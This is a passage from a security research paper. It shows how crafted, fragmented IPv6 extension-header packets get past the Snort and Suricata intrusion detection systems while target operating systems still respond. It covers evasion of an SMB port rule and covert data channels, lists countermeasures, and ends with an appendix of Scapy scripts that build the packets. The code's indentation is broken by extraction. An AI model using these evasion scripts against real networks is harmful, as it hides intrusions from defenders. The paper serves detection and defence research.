Fragment with the 3rd fragment overlapping the 
1st 

frag 3: Fragmentation overlap
frag 3: Bogus fragmentation packet. Possible BSD 
attack
frag 3: Fragments smaller than configured 
min_fragment length

8 Transfer of “large” amount of arbitrary data 
at the IP level

ICMP-INFO ICMPv6 Echo Request

9 Transfer of “large” amount of fragmented 
arbitrary data at the IP level

ICMP-INFO ICMPv6 Echo Request

Table 2: Snort alerts vs IPv6 Extension headers Attacks

A screenshot of the various alerts triggered during the above tests is displayed in figure 20.



Figure 20: Snort alerts triggered during the various tests of table 2

As we can see in table 2 and if we exclude the case number 8, which should be considered as 
normal, in three out of the nine cases the IDS detects the ping6 message accurately (cases no 3, 4  
and 9).  In  the  rest  of  them,  it  fails  to  detect  the  ping6 message  but,  it  triggers  a  frag  3 alert 
(depending on the case). Hence, in these last cases the defender has at least a hint that something is 
going wrong. It depends on the experience as well as the willingness of the analyst to identify the 
real “threat” (in our case the ICMPv6 Echo Request message) that is hided behind each specific 
attack. The ideal of course would be the IDS to detect not only that there is a suspicious IPv6 
malformed packet, but to also detect the exact attack (i.e. that an ICMPv6 Echo Request message 
was sent). We should not depend solely on humans. 

On the other hand, for a pen tester this is not good enough. A pen tester wants to launch his 
attacks completely undetected. Let's see an example of how this can be accomplished using one of 
the above techniques. 

In the test numbered 3 (where we send the upper-layer protocol header at a fragment other than 
the first one), we start to increase progressively the number of the fragments. Doing so, we find out 
that if we send the upper-layer header at 8th packet or later, the ICMPv6 Echo Request message is 
not detected (an alert is not issued). At the same time, OpenBSD 5.1/5.2, Windows 7/2008 and the 
two Ubuntu's happily respond with an ICMPv6 Echo Reply message. A part of the used code to 
produce such packets is shown below:

for i in range(0,no_of_fragments): 
     packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=i*16,m=1) \ 
/IPv6ExtHdrDestOpt(nh=60) 

     send(packet) 
packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=no_of_fragments*16,m=1) \ 
/IPv6ExtHdrDestOpt(nh=58) 

send(packet) 
packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16,m=0,nh=58) \ 
/ICMPv6EchoRequest()

send(packet)

However,  this  time  we  shall  notice  that  a  “frag  3:  Fragments  smaller  than  configured  
min_fragment length” alert is triggered. This is due to the fact the each fragment has a very small 
amount of data in it (actually 1 octet), because it carries only the Destination Option Extension 
header.  This  can  be  changed  easily  by  adding  arbitrary  data  as  options  in  each  one  of  these 
Extension headers, since, as we saw in cases 8 and 9, this can easily be achieved. To this end, we 
used the following sample code:

 



for i in range(0,no_of_fragments): 
       packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=i*16,m=1) \ 
/IPv6ExtHdrDestOpt(nh=60, options=PadN(optdata='\101'*120)) 

       send(packet) 
packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=no_of_fragments*16,m=1) \ 
/IPv6ExtHdrDestOpt(nh=58,  options=PadN(optdata='\101'*120)) 

send(packet) 
packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16,m=0,nh=58) \ 
/ICMPv6EchoRequest() 

send(packet)

By constructing at least ten (10) IPv6 packets using the code shown above, we achieve our 
double goal. We trigger a response from the targets that accept such packets (the two Ubuntu's, 
OpenBSD 5.1/5.2, and Windows 7/2008)  avoiding at the same time to trigger even a single alert 
from the IDS (figure 21). 

Figure 21: No snort alerts are triggered during the test #3 when fragments ≥ 8

Since we managed to evade the IDS at the IP level, using such packets we can actually launch 
any type of attack against these specific targets by substituting the upper-layer protocol (ICMPv6 
Echo Request in our tests) with the desirable one. Doing so, we can launch any attack without 
triggering a single alert. This is really important since the attacker, instead of having to “invent” 
several different methods at the application layer to launch his SQLi, XSS, or port scanning attack, 
he can do so by using a few simple methods at the IP level.   

As an example, we repeated the previous test but this time, using a TCP request. To this end, we 
added a Snort  local rule that detects  any attempted TCP connection to port  445 (potential  smb 
traffic). This rule is shown below:

alert tcp any any -> any 445 (msg: "Test SMB activity"; sid:1000001;)

Then, we used the same technique against Windows 7 (which accept SMB connections). The 
sample code is displayed below:



for i in range(0,no_of_fragments): 
        packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=i*16,m=1) \ 
/IPv6ExtHdrDestOpt(nh=60, options=PadN(optdata='\101'*120)) 

        send(packet) 
packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=no_of_fragments*16,m=1) \ 
/IPv6ExtHdrDestOpt(nh=06,  options=PadN(optdata='\101'*120)) 

send(packet) 
packet = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16,m=0,nh=06) \ 
/TCP(sport=source_port, dport=des_port, seq=my_seq_number) \ 
/Raw("AAAAAAAA"*10)

send(packet)

Again, the results showed that if we send the TCP header at the 10th fragment or later, an IDS 
alert is not triggered while Windows 7 respond with a SYN-ACK packet (figure 22). We can also 
add some data into the SYN packet, which normally triggers a “stream5: Data on SYN packet” 
alert.  Using  the  pre-described  technique,  we  can  also  transfer  data  in  a  SYN  packet  without 
triggering an alert. To this end, use the same code by adding the text in bold. Again, Windows 7 
respond happily.

Figure 22: No TCP SYN-ACK response from a Windows 7 target (without triggering a snort alert)

4.3.2 Test Results for Suricata

In  the  case  of  Suricata,  this  was  initially  tested  without  enabling  the  special  rules  that 
accompanies it, including the  decoder-events.rules. We also created a specific rule to catch TCP 
traffic  to  a  specific  port,  as  we  did  in  Snort.  In  these  initial  tests,  the  results  were  rather 
disappointing. Suricata did not trigger a single alert for any of the examined tests.

10 fragments, TCP 
SYN at the last

Arbitrary data at 
the SYN packet

SYN-ACK response
is triggered



Tests Alert(s) issued by Suricata IDS

1. Mixing Multiple and Various Extension Headers per 
datagram in atomic fragments

SURICATA IPv6 duplicated Destination 
Options extension header

2. Nested fragments NONE

3.Upper-layer Protocol Header at the Second/Subsequent 
Fragment

NONE

4. Upper-layer Protocol Header at the Second Fragment 
and Mixing Multiple Extension headers at the 1st  

NONE

5 Upper-layer Protocol Header at the 2nd Fragment with 
Extension Headers Overlapping

SURICATA FRAG IPv6 Fragmentation 
overlap

6 Upper-layer Protocol Header at the Third  Fragment 
with the 3rd fragment overlapping the 2nd 

SURICATA FRAG IPv6 Fragmentation 
overlap

7 Upper-layer Protocol Header at the Third  Fragment 
with the 3rd fragment overlapping the 1st 

NONE

8 Transfer of “large” amount of arbitrary data at the IP 
level

NONE

9 Transfer of “large” amount of fragmented arbitrary 
data at the IP level

NONE

  Table 3: IDS alerts vs IPv6 Extension headers Attacks

Then,  in  the  suricata.yaml file  we enabled  the  decoder-events.rules.  This  time,  the  results, 
which are summarised in table 3, were better than without the decoder-events.rules enabled. As we 
can see, malformed IPv6 packets are detected in case 1 (where more that one Destination Options 
Extension header exist in one packet), as well as in cases 5 and 6 (were there is fragmentation 
overlapping). The corresponding alerts are displayed in figure 23. Surprisingly enough, in case 7, 
were the 3rd fragment overlaps the 1st one and not the 2nd, as well as in all the other cases, an alert is 
not issued. Hence, this time we do not need to dig deeper to find a way to bypass Suricata, as it was  
the case of Snort. Any of the remaining techniques, depending on the OS target, can be used to 
evade Suricata successfully while triggering a response from the corresponding target.

Figure 23: Suricata alerts triggered during tests #1, 5 and 6. No Suricata alerts are triggered  
during the rest of the tests

5 Proposed Countermeasures
To handle the issues described in the previous sections and to prevent their security impacts, 

several steps must be taken at various levels. Some of the required measures are summarised below: 

• The  corresponding  RFCs  should  strictly  define  the  exact  usage  and  order  of  the  IPv6 
Extension headers as well  as the respective OS response in case of non-compliant IPv6 
datagrams. Recommendations may create too many ambiguities which can lead to different 



OS behaviours and hence, to potential security issues. 

• Obviously,  OS vendors  should  create  fully  RFC compliant  products  and excessive  tests 
should be performed by them before adopting and incorporating a “new” protocol like IPv6. 
Making  an  IPv6-ready  product,  no  matter  if  it  an  OS,  a  security  device  or  any  other  
networking device, it  does not only mean to be able to connect using IPv6. Instead, the 
vendors should make sure that their products are fully RFC compliant before releasing them 
for a production environment.   

• Security devices such as IDS/IPS and Data Loss Prevention (DLP) devices should be able to 
examine:

• Not only “usual” IP attacks like IP fragmentation overlapping attacks (known from 
the  IPv4  era),  but  also,  new  attacks  which  may  exploit  the  new  features  and 
functionality of IPv6.

• The data transferred in the IPv6 Extension headers too and not just the payload of the 
application layer protocols.

• “Quick and dirty” solutions can be applied by preventing the acceptance/sending of some of 
the IPv6 Extension headers using proper firewall rules. However, such “solutions” should be 
considered only as temporary ones, since they actually suppress some of the IPv6 added 
functionality  and  thus,  should  be  applied  only  after  ensuring  that  this  functionality  is 
actually not needed in the specific environment.

6 Conclusions
IPv6 Extension headers, apart  from the new features and the flexibility they add, they also 

create new attack vectors.  In this  paper,  it  was shown that various combinations of malformed 
(regarding the usage of the IPv6 Extension headers) IPv6 packets are accepted by most (if not all)  
the popular OS. It is only FreeBSD that appears to have the most robust behaviour. On the other  
hand, very popular users'  workstations or enterprise OS appear to be vulnerable to most of the 
examined methods of creating malformed packets. Proper exploitation of such packets leads to IDS 
evasion at the IP level and hence, it allows us to launch any type of attacks, from port scanning to  
SQLi,  without  being  detected  by  the  corresponding  IDS  signatures.  These  techniques  were 
demonstrated against two of the most popular IDS, Snort and Suricata. Moreover, traffic can be 
tunneled at the IP level, making their detection more difficult than the trivial cases of DNS, HTTP 
or ICMP tunneling. However, the most significant conclusion that we draw is that there is still a  
work that has to be done from various sides before the final transition to IPv6 takes place. On the 
one hand, RFCs should define more strictly the OS behaviour in case of non-compliant packets, 
while,  on  the  other,  OS vendors  should  strictly  conform to  them.  Finally,  IDS vendors  should 
implement new ways of detecting malformed IPv6 packets since the ones used from the IPv4 era 
seem not to be enough. 
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Appendix A. Program Code to Test the Use of IPv6 
Extension Header

A.1 Mixing Multiple and Various Extension Headers per datagram in  
atomic fragments

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 3): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
else: 
     print "it takes two arguments (in the following order): the source 
IPv6 address and the destination IPv6 address" 
     sys.exit(1)   

send(IPv6(src=sip,dst=dip) 
/IPv6ExtHdrDestOpt() 
/IPv6ExtHdrDestOpt() 
/IPv6ExtHdrDestOpt() 
/IPv6ExtHdrFragment(offset=0, m=0) 
/IPv6ExtHdrFragment(offset=0,m=0) 
/IPv6ExtHdrDestOpt() 
/IPv6ExtHdrFragment(offset=0, m=0) 
/ICMPv6EchoRequest()) 

A.2 Nested fragments
#!/usr/bin/python 
from scapy.all import * 
if (len(sys.argv) == 5): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
     no_of_fragments = int(sys.argv[3]) 
     length = int(sys.argv[4]) 
else: 
     print "it takes four arguments (in the following order): the source 
IPv6 address, the destination IPv6 address, the number of the fragments 
(>=0) and the length of the payload (in octets) >=1" 
     sys.exit(1)    
myid=random.randrange(1,4294967296,1)  
myid2=random.randrange(1,4294967296,1)

payload1=Raw("AAAAAAAA"*(length-1)) 
icmpv6=ICMPv6EchoRequest(data=payload1) 
ipv6_1=IPv6(src=sip, dst=dip, plen=(length)*8) 

csum=in6_chksum(58, ipv6_1/icmpv6, str(icmpv6)) 
icmpv6=ICMPv6EchoRequest(cksum=csum, data=payload1) 

ipv6_1=IPv6(src=sip, dst=dip, plen=8*2) 
frag2=IPv6ExtHdrFragment(offset=0, m=0, id=myid2, nh=44) 
for i in range(0, no_of_fragments): 

frag1=IPv6ExtHdrFragment(offset=i, m=1, id=myid, nh=44) 
packet=ipv6_1/frag1/frag2 



send(packet) 
frag1=IPv6ExtHdrFragment(offset=no_of_fragments, m=1, id=myid, nh=44) 
frag2=IPv6ExtHdrFragment(offset=0, m=0, id=myid2, nh=58) 
packet=ipv6_1/frag1/frag2 
send(packet) 
ipv6_1=IPv6(src=sip, dst=dip, plen=8*(length+1)) 
frag1=IPv6ExtHdrFragment(offset=no_of_fragments+1, m=0, id=myid, nh=44) 
packet=ipv6_1/frag1/icmpv6 
send(packet) 

A.3 Upper-layer Protocol Header at the Second/Subsequent 
Fragment

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 4): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
     no_of_fragments = int(sys.argv[3]) 
else: 
     print "it takes three arguments (in the following order): the source 
IPv6 address, the destination IPv6 address and the number of fragments 
>=0" 
     sys.exit(1)   

for i in range(0,no_of_fragments): 
packet = IPv6(src=sip, dst=dip)  

/IPv6ExtHdrFragment(offset=i*16, m=1)   
/IPv6ExtHdrDestOpt(nh=60, options=PadN(optdata='\101'*120)) 

send(packet) 
packet=IPv6(src=sip, dst=dip)  

/IPv6ExtHdrFragment(offset=no_of_fragments*16, m=1)  
/IPv6ExtHdrDestOpt(nh=58,options=PadN(optdata='\101'*120)) 

send(packet) 
packet=IPv6(src=sip,dst=dip)  

/IPv6ExtHdrFragment(offset=(no_of_fragments+1)*16, m=0, nh=58) 
/ICMPv6EchoRequest() 

send(packet)

A.4 Upper-layer Protocol Header at the Second Fragment and 
Mixing Multiple Extension headers at the 1st 

#!/usr/bin/python 
from scapy.all import * 
import time 

if (len(sys.argv) == 3): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
else: 
     print "it takes two arguments (in the following order): the source 
IPv6 address and the destination IPv6 address" 
     sys.exit(1)    

myid=random.randrange(1,4294967296,1)  
icmpv6=ICMPv6EchoRequest() 



csum=in6_chksum(58, IPv6(src=sip, dst=dip)/icmpv6, str(icmpv6)) 
packet1=IPv6(src=sip, dst=dip) \ 

/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60) \  
/IPv6ExtHdrDestOpt(nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60) \
/IPv6ExtHdrDestOpt(nh=58) 

packet2=IPv6(src=sip,dst=dip) \ 
/IPv6ExtHdrFragment(offset=5, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum) 

send(packet1) 
send(packet2)

A.5 Upper layer header at a second fragment with the 2nd fragment 
overlapping the 1st 

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 4): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
     length = int(sys.argv[3]) 
else: 
     print "it takes three arguments (in the following order): the source 
IPv6 address, the destination IPv6 address and the length of the payload 
(in octets)" 
     sys.exit(1)    

myid=random.randrange(1,4294967296,1)  

payload1=Raw("AABBCCDD"*(length)) 
icmpv6=ICMPv6EchoRequest(data=payload1) 
csum=in6_chksum(58, IPv6(src=sip, dst=dip)/icmpv6, str(icmpv6)) 

packet = IPv6(src=sip, dst=dip) \
/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=58)

send(packet) 
packet = IPv6(src=sip, dst=dip) \ 

/IPv6ExtHdrFragment(offset=0, m=0) \ 
/ICMPv6EchoRequest()

send(packet) 

A.6 Upper layer header at a subsequent fragment and the 3rd 
fragment overlaps with the 2nd

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 4): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
     length = int(sys.argv[3]) 
else: 
     print "it takes three arguments (in the following order): the source 
IPv6 address, the destination IPv6 address and the length of the payload 



(in octets)" 
     sys.exit(1)    

myid=random.randrange(1,4294967296,1)  

payload1=Raw("AABBCCDD"*(length)) 
icmpv6=ICMPv6EchoRequest(data=payload1) 
csum=in6_chksum(58, IPv6(src=sip, dst=dip)/icmpv6, str(icmpv6)) 

packet1 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=58) 

packet2 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=1, nh=58) \ 
/IPv6ExtHdrDestOpt(nh=58) 

packet3 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum, data=payload1) 

send(packet1) 
send(packet2) 
send(packet3)

A.7 Upper layer header at a subsequent fragment and the 3rd 
fragment overlaps with the 1st

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 4): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
     length = int(sys.argv[3]) 
else: 
     print "it takes three arguments (in the following order): the source 
IPv6 address, the destination IPv6 address and the length of the payload 
(in octets)" 
     sys.exit(1)    

myid=random.randrange(1,4294967296,1)  

payload1=Raw("AABBCCDD"*(length)) 
icmpv6=ICMPv6EchoRequest(data=payload1) 
csum=in6_chksum(58, IPv6(src=sip, dst=dip)/icmpv6, str(icmpv6)) 

packet1 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=1) \
/IPv6ExtHdrDestOpt(nh=58) 

packet2 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=1, nh=58) \ 
/IPv6ExtHdrDestOpt(nh=58) 

packet3 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum, data=payload1) 

send(packet1) 
send(packet2) 
send(packet3)



A.8 Transfer of “large” amount of arbitrary data at the IP level – 
IPv6 Covert Channels

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 3): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
else: 
     print "it takes two arguments (in the following order): the source 
IPv6 address and the destination IPv6 address" 
     sys.exit(1)   

packet = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrDestOpt(options=PadN(optdata='\101'*120) \ 
/PadN(optdata='\102'*150)/PadN(optdata='\103'*15)) \ 
/ICMPv6EchoRequest()

send(packet) 

A.9 Transfer of “large” amount of fragmented arbitrary data at the 
IP level – IPv6 Covert Channels

#!/usr/bin/python 
from scapy.all import * 

if (len(sys.argv) == 3): 
     dip = sys.argv[2] 
     sip = sys.argv[1] 
else: 
     print "it takes two arguments (in the following order): the source 
IPv6 address and the destination IPv6 address" 
     sys.exit(1)   
packet1 = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=60,options=PadN(optdata='\101'*120)/PadN

(optdata='\102'*150)) 
packet2 = IPv6(src=sip,dst=dip)\ 

/IPv6ExtHdrFragment(offset=35,m=1,nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60,options=PadN(optdata='\101'*120)/PadN

(optdata='\102'*150)) 
packet3 = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=70,m=0,nh=60) \ 
/IPv6ExtHdrDestOpt(nh=58, 

options=PadN(optdata='\101'*120)/PadN(optdata='\102'*150)) \ 
/ICMPv6EchoRequest() 

send(packet1) 
send(packet2) 
send(packet3)
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